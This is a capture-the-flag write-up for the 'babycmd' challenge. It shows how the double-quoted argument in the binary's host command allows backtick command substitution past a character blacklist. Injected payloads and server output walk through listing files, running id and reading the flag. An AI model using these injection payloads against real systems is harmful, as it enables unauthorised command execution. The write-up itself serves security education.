The babycmd challenge was an x64 ELF binary supporting 4 commands: ping, dig, host, and exit. In the case of ping, dig and host, it just calls the corresponding binary with a user-controlled argument.
This binary uses signal(2) 0xE (SIGALRM – Timer signal from alarm(2)) and alarm() in order to terminate the process after 45 seconds. This was a bit annoying while working on this binary, so I replaced the original argument 0x2d for alert() with a 0; as explained in the alarm(2) documentation, if the seconds argument is 0, no new alarm is scheduled.
.text:0000000000001267 mov edi, 0Eh .text:000000000000126C call _signal .text:0000000000001271 mov edi, 0x2d .text:0000000000001276 call _alarm
.text:0000000000001267 mov edi, 0Eh .text:000000000000126C call _signal .text:0000000000001271 mov edi, 0 .text:0000000000001276 call _alarm
For all the supported commands, this program does some basic validation of the user-provided argument before calling the corresponding binary. This filter is a kind of blacklist which rejects user input if it contains characters like “&”, “;” and “|”, which may be abused to inject OS commands. You should note that this function also removes spaces (char 0x20) from the user input.
In the specific case of the ping command, the program takes the user-controlled argument and calls inet_aton(3) to ensure that the user-controlled argument is an IPv4 address in numbers-and-dots notation before invoking “ping -c 3 -W 3 %s”, thus eliminating the possibility of an OS command injection through the “ping” command.
In the case of the “dig” command, the babycmd program behaves differently. After calling the validate_input() function, it calls the inet_aton(3) function in order to check if the user-controlled argument is a valid IPv4 address, just as it does with the “ping” command. If it’s a valid IPv4 address, then it knows that it’s safe to invoke “dig -x %s”.
However, if the user-controlled argument is not an IPv4 address, it will call an additional input validation function (called more_input_validation() in the screenshot below). This more_input_validation() function checks if the first and last characters of the user input are alphanumeric chars.
If this additional input validation goes well, our program assumes that it’s safe to invoke “dig ‘%s'” (note that there are single quotes around the user-controlled argument here).
The handler of the “host” command is pretty similar to the handler of the “dig” command; the difference here is that, when the user-controlled argument is not an IPv4 address, it will call the more_input_validation() function, and if it succeeds then it will invoke ‘host “%s”‘ (note that there are double quotes around the user-controlled argument here).
So, what’s the difference between putting single quotes and putting double quotes around a command-line argument when invoking a program? Well, the difference is that double quotes (as used when invoking the “host” binary) do not prevent shell metacharacters from being interpreted as such. That means that we can evaluate commands through command substitution (`id` or $(id)), expand environment variables ($HOME), etc.
So now we know that we can inject OS commands through the “host” command. Let’s connect to the server and do a file listing. We can inject OS commands by doing “host a`some_command`b“. Note that we put an alphanumeric char at the beginning and at the end of the argument for the “host” command; this is necessary for our input to be approved by the more_input_validation() function.
$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me 15491 Welcome to another Baby's First Challenge! Commands: ping, dig, host, exit : host a`ls`x host: 'abin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.oldx' is not a legal name (label too long)
Let’s execute “id”:
Commands: ping, dig, host, exit : host a`id`x Host auid=1001\(babycmd\)\032gid=1001\(babycmd\)\032groups=1001\(babycmd\)x.ec2.internal not found: 2(SERVFAIL)
So the vulnerable program is running under the “babycmd” user in the target machine. Let’s get a listing of the files under /home/babycmd. Remember that the first input validation function removes char 0x20 from the user input, so if we need to execute a command containing spaces we need to use Tabs instead:
Commands: ping, dig, host, exit : host a`ls -la /home/babycmd`x host: 'atotal 36 drwxr-x--- 2 root babycmd 4096 May 15 15:53 . drwxr-xr-x 4 root root 4096 May 15 10:54 .. -rw-r--r-- 1 babycmd babycmd 220 Apr 9 2014 .bash_logout -rw-r--r-- 1 babycmd babycmd 3637 Apr 9 2014 .bashrc -rw-r--r-- 1 babycmd babycmd 675 Apr 9 2014 .profile -rwxr-xr-x 1 root root 10288 May 15 15:53 babycmd -rw-r--r-- 1 root babycmd 73 May 15 10:54 flagx' is not a legal name (empty label)
The flag file is right there! Let’s print its contents:
Commands: ping, dig, host, exit : host a`cat /home/babycmd/flag`x host: 'aThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??x' is not in legal name syntax (label too long)
So the flag for this challenge was: Pretty easy eh!!~ Now let’s try something hArd3r, shallwe??